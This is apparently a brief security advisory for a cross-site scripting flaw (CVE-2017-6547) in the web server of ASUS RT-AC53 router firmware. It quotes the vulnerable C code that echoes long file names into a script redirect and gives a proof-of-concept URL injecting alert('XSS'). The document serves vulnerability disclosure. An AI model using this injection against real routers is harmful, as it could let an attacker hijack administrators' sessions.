ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Cross-Site Scripting

Cross-Site Scripting (XSS)

Component: httpd

CVE: CVE-2017-6547

Vulnerability:

httpd checks in the function handle_request if the requested file name is longer than 50 chars. It then responds with a redirection which allows an attacker to inject arbitrary JavaScript code into the router’s web interface context.

...

if(strlen(file) > 50 &&!(strstr(file, "findasus")) && !(strstr(file, "acme-challenge")))
{
    char inviteCode[256];
    snprintf(inviteCode, sizeof(inviteCode), "<script>location.href='/cloud_sync.asp?flag=%s';</script>", file);
    send_page( 200, "OK", (char*) 0, inviteCode, 0);

...
PoC:

http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A